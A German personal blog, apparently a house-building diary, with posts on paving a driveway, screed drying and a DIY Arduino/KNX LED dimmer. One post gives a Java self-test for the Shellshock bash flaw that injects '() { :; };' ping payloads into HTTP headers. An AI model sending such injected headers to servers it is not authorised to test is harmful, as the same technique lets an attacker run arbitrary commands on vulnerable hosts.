Man kann es schon erahnen: Das Licht am Ende des Tunnels…
Ganz langsam aber sicher geht es auf der Baustelle dem Einzug entgegen.
Nachdem nun die Einfahrt fertiggestellt ist …
… geht es im Haus weiter: Weiterlesen
Seit kurzer Zeit ist eine neue, wirklich schwerwiegende Sicherheitslücke bekannt geworden: Shellshock. Nachzulesen hier:
http://www.golem.de/news/bash-luecke-die-hintergruende-zu-shellshock-1409-109463.html
Da immer mehr Eigenheime über Remote-Zugriffe verfügen und diese per HTTP zu erreichen sind, stellt sich unweigerlich die Frage: Ist mein System sicher? Wie teste ich das?
Wer mit Java vertraut ist kann dieses Beispiel hier benutzen (gibt sicher noch andere Wege):
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
public class ShellShockTest {
public static void main(String[] args) throws Exception {
URL url = new URL("http://<zutestenderserver>");
URLConnection conn = url.openConnection();
conn.setRequestProperty("User-Agent", "shellshock-scan (<deinname>)");
conn.setRequestProperty("banners", "true");
conn.setRequestProperty("Cookie", "() { :; }; ping -1 3 <serverfürpingfeedback>");
conn.setRequestProperty("Host", "() { :; }; ping -c 1 <serverfürpingfeedback>");
conn.setRequestProperty("Referer", "() { :; }; ping -c 1 <serverfürpingfeedback>");
BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream()));
String inputLine;
while ((inputLine = in.readLine()) != null)
System.out.println(inputLine);
in.close();
}
}
Ersetze „<zutestenderserver>“ mit dem Namen des Zielsystems.
Damit Du Deinen eigenen Test in den Logfiles identifizieren kannst, ersetze noch „<deinname>“ durch Deinen Namen.
Um zu sehen ob das Zielsystem anfällig ist, wird versucht ein Ping auf ein anderes System auszuführen. Hier solltest du „<serverfürpingfeedback>“ mit einem
ersetzt werden.
Code übersetzen, ausführen und gleichzeitig die Webserver Accesslog-Datei im Auge behalten, sowie auf dem „<serverfürpingfeedback>“ System ein Netzwerktrace auf ICMP Ebene durchführen (wireshark, tcpdump, …).
Im Webserver-Logile wirst du nun den HTTP Request sehen. Sieht bei mir z.B. so aus:
1.2.3.4 - - [26/Sep/2014:10:20:56 +0200] "GET / HTTP/1.1" 200 467 "() { :; }; ping -c 3 4.3.2.1" "shellshock-scan (huhu)"
1.2.3.4 ist das zu testende System, und 4.3.2.1 ist das System für die Ping-Rückmeldung.
Wenn im Netzwerktrace dann ein ICMP Request von 1.2.3.4 auftaucht, dann ist das System über Apache anfällig. Ist das nicht der Fall, bist du erstmal fein raus.
Debian und Ubuntu nutzen übrigens nicht Bash, sondern Dash per Default. Das macht die Sache „etwas“ sicherer. Aber eben nicht „ganz sicher“.
Nichts desto trotz: Sicherstellen dass alle verfügbaren Updates eingespielt wurden….
.. braucht man einen anständigen Rüttler bevor man die Einfahrt pflastert.
Man sollte meinen es ist kein Problem eine Einfahrt in Eigenleistung anständig zu pflastern?! Pustekuchen. Es ist gar nicht so einfach eine Rüttelplatte jenseits von 250kg aufzutreiben. Der örtliche Baustoffhandel vermietet ebenfalls Geräte. Der dort größte Rüttler hat 114kg (oder 140? Weiß nicht mehr genau).
Der Vermieter „Boels“ beim Hornbach in Sinsheim hat auch nur Rüttler bis 140kg. Bei Rent2000 in Rauenberg (das wäre von der Entfernung noch erträglich) hat zwar einen 248kg Rüttler, aber der steht nicht in Rauenberg, sondern in Sandhausen. Das sind allein 40min fahrt, pro Richtung.
Nach einigem hin und her hat mein Haus und Hof-Verleiher in Lobbach doch den 280kg Rüttler schon früher frei. Welch ein Glück…
Heute Abend kann es dann endlich weiter gehen.
Nachdem wir uns nach langem hin und her für einen Pflasterstein entschieden hatten geht es nun wieder mal ans eingemachte:
Vergangenen Mittwoch kam der bestellte Bagger auf der Baustelle an. Geplant war dass mit dem Bagger am Mittwoch die Einfahrt geebnet wird, am Freitag der Split eingebracht wird und am Samstag gleich gepflastert werden kann. Doch wie immer: Es kam anders als geplant. Weiterlesen
Gestern zufällig im IKEA Walldorf gesehen: Ein Schreibtisch der sich elektrisch in der Höhe verstellen lässt.
Stuhlmangelbedingt bin ich heute (freiwillig) eine Weile am Schreibtisch gestanden, statt gesessen. Dabei viel mir wieder der IKEA Schreibtisch ein. Da unsere Firmen-Büromöbel auch von IKEA sind hatte ich das mal schnell gegoogelt. Weiterlesen
Für die Trocknung unseres Estrichs prognostizierte man uns 6-7 Wochen. Gedauert hat es nun keine 4 Wochen.
Das Aufheizprotokoll des Estrichlegers sah folgendes Programm vor:
Mittlerweile sind nun alle Teile aus China für meinen Selbstbau-Dimmer eingetroffen. Ergänzt habe ich es noch um ein paar Teile von Reichelt.
Bereits nach wenigen Minuten konnte ich mit dem Arduino einen 3m LED Streifen stufenlos dimmen. Super Sache.
https://www.youtube.com/watch?v=F8a99YWbdA4
Der MOSFET der die LEDs mit PWM beschaltet lächelt übrigens hinsichtlich der Belastung von fast 24 Watt. Von Abwärme absolut keine Spur. Da ist also noch ordentlich Luft nach oben.
Jetzt dann noch das gleiche mit KNX:
Also den Siemens Busankoppler angezapft, den Code ein bisschen erweitert und schon klappt’s auch über KNX:
https://www.youtube.com/watch?v=ajvleXMCRoI
Ich war nur zu faul das Zimmerlicht an zu schalten. So hat die Kamera versucht die Überbelichtung durch abdunkeln abzufangen. Hat sie auch geschafft, mit dem Ergebnis dass man das Dimmverhalten nicht ganz so toll sieht.
Jetzt heißt es die Software aufbohren und auf 7 statt 1 Kanäle erweitern, sowie die ganzen tollen Features die ich mir von einem Dimmer Wünsche zu implementieren. Zum Bleistift einen Sonnenaufgang/-Untergang-Modus. Könnte hilfreich sein wenn man Nachwuchs hat der im dunkeln nicht einschlafen kann 😉
Nach einer Diskussion im KNX User Forum über die Kosten/Nutzen-Rechnung von LED-Beleuchtung hatte ich mich dort auch zu Wort gemeldet und meine „Low-Cost“ Variante vorgestellt. Darauf hin gab es einige Anfragen wie ich das nun umgesetzt habe. Damit ich das nicht 5x erzählen muss, hier nun ein umfassender Artikel zu diesem Thema.
Vom ursprünglichen tropischen Klima nach dem einbringen des Estrichs sind wir mittlerweile beim Sahara-Klima angelangt. Heute Morgen sahen die Thermometer wie folgt aus:
Die Wärmepumpe läuft und läuft und läuft. Anfangs hatten wir noch ein Sole-Vorlauf-Rücklauf-Delta von ca. 5-6°C. Die Vorlauftemperatur lag bei ca. 7°C, die Rücklauftemperatur bei ca. 12°C. Weiterlesen
Während der Estrich trocknet, wird weiter geplant und organisiert. So fehlt zum aktuellen Zeitpunkt z.B. die Technik um das Licht im Dachgeschoss schalten bzw. dimmen zu können. Grund: Ich hatte bis dato weder Lust noch Geld teure KNX Dimmer zu kaufen die nicht genug Leistung haben um meine LED-Beleuchtung im Dachgeschoss ansteuern zu können.
Der Bilton KNX REG Dimmer den ich zwei-fach im Elektroverteiler verbaut habe hat 4 Kanäle und kann pro Kanal 4A. Das Teil kostet mich aktuell rund 213EUR. Damit liegt ein Dimmer-Kanal bei rund 53EUR. Im Dachgeschoss hab ich 4 Zimmer, Bad und Flur. Der Flur wird über die bestehenden Dimmer gesteuert. Der Rest im Dachgeschoss ist noch nicht angebunden.
Teilweise komm ich bei den Zimmern auf einen Strombedarf von etwas über 4A, womit ich dann nicht nur einen Kanal pro Zimmer, sondern zwei bräuchte. Oder ich muss den einen oder anderen Dimmerkanal mit einem „LED PWM Verstärker“ (z.B. sowas hier) betreiben. Aber das ist es auch schwer etwas brauchbares mit mehr als 4A zu finden.
Die Lösung scheint mal wieder das KNX User Forum zu sein. Dort gibt es eine DoItYourself (DIY) Ecke, die das Thema Arduino am KNX behandelt. Prima Sache. Die Idee:
Man nehme einen handelsüblichen Arduino Mikrocontroller, verbinde diesen mit einem KNX Busankoppler und schon hat man eine beinahe Eierlegende-KNX-Wollmilchsau mit der man quasi alles machen kann.
Meine Variante sieht wie folgt aus:
Ein Arduino Leonardo hat 7 PWM Ausgänge. An diese kommen Logik-MOSFETs die ordentlich Last schalten können. 4A sollten da kein Problem sein. Mit einem Kühlkörper sollten auch mehr als 4A kein wirkliches Problem sein. Und schon hat man einen 7-Kanal LED PWM Dimmer der auch mir mehr als 4A pro Kanal umgehen kann.
Um nun aber auf den Titel dieses Artikels zurück zu kommen: Es geht mal wieder um’s Preise vergleichen. Ein Arduino Leonardo kostet „bei uns“ irgendwas um 20..25EUR. Ggf. findet man diesen auch mal günstiger, vielleicht für 15EUR. Aber es geht auch noch günstiger: aliexpress.com ist eine Handelsplattform auf der sich beinahe ausnahmslos asiatische, aber überwiegend chinesische Hersteller und Lieferanten tummeln. Viele Kleinteile (nicht nur Elektronik) findet man dort zum kleinen Preis. So auch die von mir benötigten Teile:
Die meisten Händler bieten „Free Shipping“, also kostenlosen Versand an. Einziger Nachteil: Der Versand dauert zwischen 15 und 34 Tagen. Wen das nicht stört der kann dort günstig einkaufen.
Alles in allem hab ich, bis auf den Busankoppler und ein Gehäuse, dort bei sieben Händlern wirklich alles bestellt was ich für einen 7-Kanal >4A/Kanal PWM Dimmer brauche. Und das für nur etwas mehr als 30EUR. Der Busankoppler kommt mit Versand nochmal mit rund 30EUR daher. Das Gehäuse wird mich nochmal um die 10EUR kosten. Damit bin ich dann bei rund 70..80EUR.
Würde ich das mit fertigen KNX Komponenten lösen wollen, müsste ich um die 350EUR hinlegen.
Nun. Jetzt mag man meinen „Ja, aber das ist doch nur gebastel… Will und kann man sich auf soetwas verlassen?“… Naja. Sagen wir es so:
Und wenn das gut funktioniert, dann wird die Garage ebenfalls mit dem einen oder anderen Gimmick „gepimpt“: Garagenlichtsteuerung, Garagentor-Steuerung und Positionsrückmeldung, Außenlichtsteuerung, sowie Steuerung der Garagentür (elektrisch abschließbar). Wird hier sicher auch nochmal 300EUR sparen…
[UPDATE] Bezüglich Zoll: Bis 22,50EUR + Versand zahlt man weder Steuer noch Zoll. Bis 150EUR zahlt man lediglich 19% Einfuhrumsatzsteuer. Da ich bei sieben Händlern bestellt hab liegt der Einzel-Preis deutlich unter 22,50EUR. Versand ist bei den von mir ausgesuchten Händlern kostenlos.